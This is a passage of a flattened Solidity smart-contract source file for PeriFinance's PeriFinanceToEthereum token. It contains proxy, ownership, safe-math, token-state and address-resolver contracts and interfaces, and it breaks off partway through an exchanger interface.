/* ⚠⚠⚠ WARNING WARNING WARNING ⚠⚠⚠ This is a TARGET contract - DO NOT CONNECT TO IT DIRECTLY IN YOUR CONTRACTS or DAPPS! This contract has an associated PROXY that MUST be used for all integrations - this TARGET will be REPLACED in an upcoming Peri Finance release! The proxy for this contract can be found here: https://contracts.peri.finance/ProxyERC20 *//* ___ _ ___ _ | .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___ | _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._> |_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___. * PeriFinance: PeriFinanceToEthereum.sol * * Latest source (may be newer): https://github.com/perifinance/peri-finance/blob/master/contracts/PeriFinanceToEthereum.sol * Docs: Will be added in the future. * https://docs.peri.finance/contracts/source/contracts/PeriFinanceToEthereum * * Contract Dependencies: * - BasePeriFinance * - ExternStateToken * - IAddressResolver * - IERC20 * - IPeriFinance * - MixinResolver * - Owned * - PeriFinance * - Proxyable * - State * Libraries: * - SafeDecimalMath * - SafeMath * - VestingEntries * * MIT License * =========== * * Copyright (c) 2021 PeriFinance * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.5.16; // https://docs.peri.finance/contracts/source/interfaces/ierc20 interface IERC20 { // ERC20 Optional Views function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); // Views function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); // Mutative functions function transfer(address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); function transferFrom( address from, address to, uint value ) external returns (bool); // Events event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } // https://docs.peri.finance/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // Inheritance // Internal references // https://docs.peri.finance/contracts/source/contracts/proxy contract Proxy is Owned { Proxyable public target; constructor(address _owner) public Owned(_owner) {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function _emit( bytes calldata callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4 ) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { /* The first 32 bytes of callData contain its length (as specified by the abi). * Length is assumed to be a uint256 and therefore maximum of 32 bytes * in length. It is also leftpadded to be a multiple of 32 bytes. * This means moving call_data across 32 bytes guarantees we correctly access * the data itself. */ switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } // solhint-disable no-complex-fallback function() external payable { // Mutable call setting Proxyable.messageSender as this is using call not delegatecall target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) /* We must explicitly forward ether to the underlying contract as well. */ let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } // Inheritance // Internal references // https://docs.peri.finance/contracts/source/contracts/proxyable contract Proxyable is Owned { // This contract should be treated like an abstract contract /* The proxy this contract exists behind. */ Proxy public proxy; Proxy public integrationProxy; /* The caller of the proxy, passed through to this contract. * Note that every function using this member must apply the onlyProxy or * optionalProxy modifiers, otherwise their invocations can use stale values. */ address public messageSender; constructor(address payable _proxy) internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address payable _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setIntegrationProxy(address payable _integrationProxy) external onlyOwner { integrationProxy = Proxy(_integrationProxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { _onlyProxy(); _; } function _onlyProxy() private view { require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call"); } modifier optionalProxy { _optionalProxy(); _; } function _optionalProxy() private { if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) { messageSender = msg.sender; } } modifier optionalProxy_onlyOwner { _optionalProxy_onlyOwner(); _; } // solhint-disable-next-line func-name-mixedcase function _optionalProxy_onlyOwner() private { if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) { messageSender = msg.sender; } require(messageSender == owner, "Owner only function"); } event ProxyUpdated(address proxyAddress); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // Libraries // https://docs.peri.finance/contracts/source/libraries/safedecimalmath library SafeDecimalMath { using SafeMath for uint; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ uint public constant UNIT = 10**uint(decimals); /* The number representing 1.0 for higher fidelity numbers. */ uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (uint) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint x, uint y) internal pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint x, uint y) internal pure returns (uint) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @dev Round down the value with given number */ function roundDownDecimal(uint x, uint d) internal pure returns (uint) { return x.div(10**d).mul(10**d); } } // Inheritance // https://docs.peri.finance/contracts/source/contracts/state contract State is Owned { // the address of the contract that can modify variables // this can only be changed by the owner of this contract address public associatedContract; constructor(address _associatedContract) internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== SETTERS ========== */ // Change the associated contract to a new address function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== MODIFIERS ========== */ modifier onlyAssociatedContract { require(msg.sender == associatedContract, "Only the associated contract can perform this action"); _; } /* ========== EVENTS ========== */ event AssociatedContractUpdated(address associatedContract); } // Inheritance // https://docs.peri.finance/contracts/source/contracts/tokenstate contract TokenState is Owned, State { /* ERC20 fields. */ mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; constructor(address _owner, address _associatedContract) public Owned(_owner) State(_associatedContract) {} /* ========== SETTERS ========== */ /** * @notice Set ERC20 allowance. * @dev Only the associated contract may call this. * @param tokenOwner The authorising party. * @param spender The authorised party. * @param value The total value the authorised party may spend on the * authorising party's behalf. */ function setAllowance( address tokenOwner, address spender, uint value ) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } /** * @notice Set the balance in a given account * @dev Only the associated contract may call this. * @param account The account whose value to set. * @param value The new balance of the given account. */ function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } } // Inheritance // Libraries // Internal references // https://docs.peri.finance/contracts/source/contracts/externstatetoken contract ExternStateToken is Owned, Proxyable { using SafeMath for uint; using SafeDecimalMath for uint; /* ========== STATE VARIABLES ========== */ /* Stores balances and allowances. */ TokenState public tokenState; /* Other ERC20 fields. */ string public name; string public symbol; uint public totalSupply; uint8 public decimals; constructor( address payable _proxy, TokenState _tokenState, string memory _name, string memory _symbol, uint _totalSupply, uint8 _decimals, address _owner ) public Owned(_owner) Proxyable(_proxy) { tokenState = _tokenState; name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; } /* ========== VIEWS ========== */ /** * @notice Returns the ERC20 allowance of one party to spend on behalf of another. * @param owner The party authorising spending of their funds. * @param spender The party spending tokenOwner's funds. */ function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } /** * @notice Returns the ERC20 token balance of a given account. */ function balanceOf(address account) external view returns (uint) { return tokenState.balanceOf(account); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Set the address of the TokenState contract. * @dev This can be used to "pause" transfer functionality, by pointing the tokenState at 0x000.. * as balances would be unreachable. */ function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(address(_tokenState)); } function _internalTransfer( address from, address to, uint value ) internal returns (bool) { /* Disallow transfers to irretrievable-addresses. */ require(to != address(0) && to != address(this) && to != address(proxy), "Cannot transfer to this address"); // Insufficient balance will be handled by the safe subtraction. tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value)); tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value)); // Emit a standard ERC20 transfer event emitTransfer(from, to, value); return true; } /** * @dev Perform an ERC20 token transfer. Designed to be called by transfer functions possessing * the onlyProxy or optionalProxy modifiers. */ function _transferByProxy( address from, address to, uint value ) internal returns (bool) { return _internalTransfer(from, to, value); } /* * @dev Perform an ERC20 token transferFrom. Designed to be called by transferFrom functions * possessing the optionalProxy or optionalProxy modifiers. */ function _transferFromByProxy( address sender, address from, address to, uint value ) internal returns (bool) { /* Insufficient allowance will be handled by the safe subtraction. */ tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value)); return _internalTransfer(from, to, value); } /** * @notice Approves spender to transfer on the message sender's behalf. */ function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } /* ========== EVENTS ========== */ function addressToBytes32(address input) internal pure returns (bytes32) { return bytes32(uint256(uint160(input))); } event Transfer(address indexed from, address indexed to, uint value); bytes32 internal constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)"); function emitTransfer( address from, address to, uint value ) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, addressToBytes32(from), addressToBytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 internal constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)"); function emitApproval( address owner, address spender, uint value ) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, addressToBytes32(owner), addressToBytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 internal constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)"); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } } // https://docs.peri.finance/contracts/source/interfaces/iaddressresolver interface IAddressResolver { function getAddress(bytes32 name) external view returns (address); function getPynth(bytes32 key) external view returns (address); function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address); } // https://docs.peri.finance/contracts/source/interfaces/ipynth interface IPynth { // Views function currencyKey() external view returns (bytes32); function transferablePynths(address account) external view returns (uint); // Mutative functions function transferAndSettle(address to, uint value) external returns (bool); function transferFromAndSettle( address from, address to, uint value ) external returns (bool); // Restricted: used internally to PeriFinance function burn(address account, uint amount) external; function issue(address account, uint amount) external; } // https://docs.peri.finance/contracts/source/interfaces/iissuer interface IIssuer { // Views function anyPynthOrPERIRateIsInvalid() external view returns (bool anyRateInvalid); function availableCurrencyKeys() external view returns (bytes32[] memory); function availablePynthCount() external view returns (uint); function availablePynths(uint index) external view returns (IPynth); function canBurnPynths(address account) external view returns (bool); function collateral(address account) external view returns (uint); function collateralisationRatio(address issuer) external view returns (uint); function collateralisationRatioAndAnyRatesInvalid(address _issuer) external view returns (uint cratio, bool anyRateIsInvalid); function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance); function issuanceRatio() external view returns (uint); function lastIssueEvent(address account) external view returns (uint); function maxIssuablePynths(address issuer) external view returns (uint maxIssuable); function minimumStakeTime() external view returns (uint); function remainingIssuablePynths(address issuer) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ); function currentUSDCDebtQuota(address _account) external view returns (uint); function pynths(bytes32 currencyKey) external view returns (IPynth); function getPynths(bytes32[] calldata currencyKeys) external view returns (IPynth[] memory); function pynthsByAddress(address pynthAddress) external view returns (bytes32); function totalIssuedPynths(bytes32 currencyKey, bool excludeEtherCollateral) external view returns (uint); function transferablePeriFinanceAndAnyRateIsInvalid(address account, uint balance) external view returns (uint transferable, bool anyRateIsInvalid); // Restricted: used internally to PeriFinance function issuePynthsAndStakeUSDC( address _issuer, uint _issueAmount, uint _usdcStakeAmount ) external; function issueMaxPynths(address _issuer) external; function issuePynthsAndStakeMaxUSDC(address _issuer, uint _issueAmount) external; function burnPynthsAndUnstakeUSDC( address _from, uint _burnAmount, uint _unstakeAmount ) external; function burnPynthsAndUnstakeUSDCToTarget(address _from) external; function liquidateDelinquentAccount( address account, uint pusdAmount, address liquidator ) external returns (uint totalRedeemed, uint amountToLiquidate); } // Inheritance // Internal references // https://docs.peri.finance/contracts/source/contracts/addressresolver contract AddressResolver is Owned, IAddressResolver { mapping(bytes32 => address) public repository; constructor(address _owner) public Owned(_owner) {} /* ========== RESTRICTED FUNCTIONS ========== */ function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner { require(names.length == destinations.length, "Input lengths must match"); for (uint i = 0; i < names.length; i++) { bytes32 name = names[i]; address destination = destinations[i]; repository[name] = destination; emit AddressImported(name, destination); } } /* ========= PUBLIC FUNCTIONS ========== */ function rebuildCaches(MixinResolver[] calldata destinations) external { for (uint i = 0; i < destinations.length; i++) { destinations[i].rebuildCache(); } } /* ========== VIEWS ========== */ function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) { for (uint i = 0; i < names.length; i++) { if (repository[names[i]] != destinations[i]) { return false; } } return true; } function getAddress(bytes32 name) external view returns (address) { return repository[name]; } function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) { address _foundAddress = repository[name]; require(_foundAddress != address(0), reason); return _foundAddress; } function getPynth(bytes32 key) external view returns (address) { IIssuer issuer = IIssuer(repository["Issuer"]); require(address(issuer) != address(0), "Cannot find Issuer address"); return address(issuer.pynths(key)); } /* ========== EVENTS ========== */ event AddressImported(bytes32 name, address destination); } // solhint-disable payable-fallback // https://docs.peri.finance/contracts/source/contracts/readproxy contract ReadProxy is Owned { address public target; constructor(address _owner) public Owned(_owner) {} function setTarget(address _target) external onlyOwner { target = _target; emit TargetUpdated(target); } function() external { // The basics of a proxy read call // Note that msg.sender in the underlying will always be the address of this contract. assembly { calldatacopy(0, 0, calldatasize) // Use of staticcall - this will revert if the underlying function mutates state let result := staticcall(gas, sload(target_slot), 0, calldatasize, 0, 0) returndatacopy(0, 0, returndatasize) if iszero(result) { revert(0, returndatasize) } return(0, returndatasize) } } event TargetUpdated(address newTarget); } // Inheritance // Internal references // https://docs.peri.finance/contracts/source/contracts/mixinresolver contract MixinResolver { AddressResolver public resolver; mapping(bytes32 => address) private addressCache; constructor(address _resolver) internal { resolver = AddressResolver(_resolver); } /* ========== INTERNAL FUNCTIONS ========== */ function combineArrays(bytes32[] memory first, bytes32[] memory second) internal pure returns (bytes32[] memory combination) { combination = new bytes32[](first.length + second.length); for (uint i = 0; i < first.length; i++) { combination[i] = first[i]; } for (uint j = 0; j < second.length; j++) { combination[first.length + j] = second[j]; } } /* ========== PUBLIC FUNCTIONS ========== */ // Note: this function is public not external in order for it to be overridden and invoked via super in subclasses function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {} function rebuildCache() public { bytes32[] memory requiredAddresses = resolverAddressesRequired(); // The resolver must call this function whenver it updates its state for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // Note: can only be invoked once the resolver has all the targets needed added address destination = resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name))); addressCache[name] = destination; emit CacheUpdated(name, destination); } } /* ========== VIEWS ========== */ function isResolverCached() external view returns (bool) { bytes32[] memory requiredAddresses = resolverAddressesRequired(); for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // false if our cache is invalid or if the resolver doesn't have the required address if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) { return false; } } return true; } /* ========== INTERNAL FUNCTIONS ========== */ function requireAndGetAddress(bytes32 name) internal view returns (address) { address _foundAddress = addressCache[name]; require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name))); return _foundAddress; } /* ========== EVENTS ========== */ event CacheUpdated(bytes32 name, address destination); } interface IVirtualPynth { // Views function balanceOfUnderlying(address account) external view returns (uint); function rate() external view returns (uint); function readyToSettle() external view returns (bool); function secsLeftInWaitingPeriod() external view returns (uint); function settled() external view returns (bool); function pynth() external view returns (IPynth); // Mutative functions function settle(address account) external; } // https://docs.peri.finance/contracts/source/interfaces/iperiFinance interface IPeriFinance { // Views function getRequiredAddress(bytes32 contractName) external view returns (address); function anyPynthOrPERIRateIsInvalid() external view returns (bool anyRateInvalid); function availableCurrencyKeys() external view returns (bytes32[] memory); function availablePynthCount() external view returns (uint); function availablePynths(uint index) external view returns (IPynth); function collateral(address account) external view returns (uint); function collateralisationRatio(address issuer) external view returns (uint); function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint); function isWaitingPeriod(bytes32 currencyKey) external view returns (bool); function maxIssuablePynths(address issuer) external view returns (uint maxIssuable); function remainingIssuablePynths(address issuer) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ); function pynths(bytes32 currencyKey) external view returns (IPynth); function pynthsByAddress(address pynthAddress) external view returns (bytes32); function totalIssuedPynths(bytes32 currencyKey) external view returns (uint); function totalIssuedPynthsExcludeEtherCollateral(bytes32 currencyKey) external view returns (uint); function transferablePeriFinance(address account) external view returns (uint transferable); function currentUSDCDebtQuota(address _account) external view returns (uint); function usdcStakedAmountOf(address _account) external view returns (uint); function usdcTotalStakedAmount() external view returns (uint); function userUSDCStakingShare(address _account) external view returns (uint); function totalUSDCStakerCount() external view returns (uint); // Mutative Functions function issuePynthsAndStakeUSDC(uint _issueAmount, uint _usdcStakeAmount) external; function issueMaxPynths() external; function issuePynthsAndStakeMaxUSDC(uint _issueAmount) external; function burnPynthsAndUnstakeUSDC(uint _burnAmount, uint _unstakeAmount) external; function burnPynthsAndUnstakeUSDCToTarget() external; function exchange( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeOnBehalf( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeWithTracking( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeOnBehalfWithTracking( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeWithVirtual( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, bytes32 trackingCode ) external returns (uint amountReceived, IVirtualPynth vPynth); function mint(address _user, uint _amount) external returns (bool); function inflationalMint(uint _networkDebtShare) external returns (bool); function settle(bytes32 currencyKey) external returns ( uint reclaimed, uint refunded, uint numEntries ); // Liquidations function liquidateDelinquentAccount(address account, uint pusdAmount) external returns (bool); // Restricted Functions function mintSecondary(address account, uint amount) external; function mintSecondaryRewards(uint amount) external; function burnSecondary(address account, uint amount) external; } // https://docs.peri.finance/contracts/source/interfaces/iperiFinancestate interface IPeriFinanceState { // Views function debtLedger(uint index) external view returns (uint); function issuanceData(address account) external view returns (uint initialDebtOwnership, uint debtEntryIndex); function debtLedgerLength() external view returns (uint); function hasIssued(address account) external view returns (bool); function lastDebtLedgerEntry() external view returns (uint); // Mutative functions function incrementTotalIssuerCount() external; function decrementTotalIssuerCount() external; function setCurrentIssuanceData(address account, uint initialDebtOwnership) external; function appendDebtLedgerValue(uint value) external; function clearIssuanceData(address account) external; } // https://docs.peri.finance/contracts/source/interfaces/isystemstatus interface ISystemStatus { struct Status { bool canSuspend; bool canResume; } struct Suspension { bool suspended; // reason is an integer code, // 0 => no reason, 1 => upgrading, 2+ => defined by system usage uint248 reason; } // Views function accessControl(bytes32 section, address account) external view returns (bool canSuspend, bool canResume); function requireSystemActive() external view; function requireIssuanceActive() external view; function requireExchangeActive() external view; function requireExchangeBetweenPynthsAllowed(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view; function requirePynthActive(bytes32 currencyKey) external view; function requirePynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view; function systemSuspension() external view returns (bool suspended, uint248 reason); function issuanceSuspension() external view returns (bool suspended, uint248 reason); function exchangeSuspension() external view returns (bool suspended, uint248 reason); function pynthExchangeSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason); function pynthSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason); function getPynthExchangeSuspensions(bytes32[] calldata pynths) external view returns (bool[] memory exchangeSuspensions, uint256[] memory reasons); function getPynthSuspensions(bytes32[] calldata pynths) external view returns (bool[] memory suspensions, uint256[] memory reasons); // Restricted functions function suspendPynth(bytes32 currencyKey, uint256 reason) external; function updateAccessControl( bytes32 section, address account, bool canSuspend, bool canResume ) external; } // https://docs.peri.finance/contracts/source/interfaces/iexchanger interface IExchanger { // Views function calculateAmountAfterSettlement( address from, bytes32 currencyKey, uint amount, uint refunded ) external view returns (uint amountAfterSettlement); function isPynthRateInvalid(bytes32 currencyKey) external view returns (bool); function maxSecsLeftInWaitingPeriod(address account, bytes32 currencyKey) external view returns (uint); function settlementOwing(address account, bytes32 currencyKey) external view returns ( uint reclaimAmount, uint rebateAmount, uint numEntries ); function hasWaitingPeriodOrSettlementOwing(address account, bytes32 currencyKey) external view returns (bool); function feeRateForExchange(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view returns (uint exchangeFeeRate); function getAmountsForExchange( uint sourceAmount, bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey ) external view returns ( uint amountReceived, uint fee, uint exchangeFeeRate ); function priceDeviationThresholdFactor() external view returns (uint); function waitingPeriodSecs() external view returns (uint); // Mutative functions function exchange( address from, bytes32 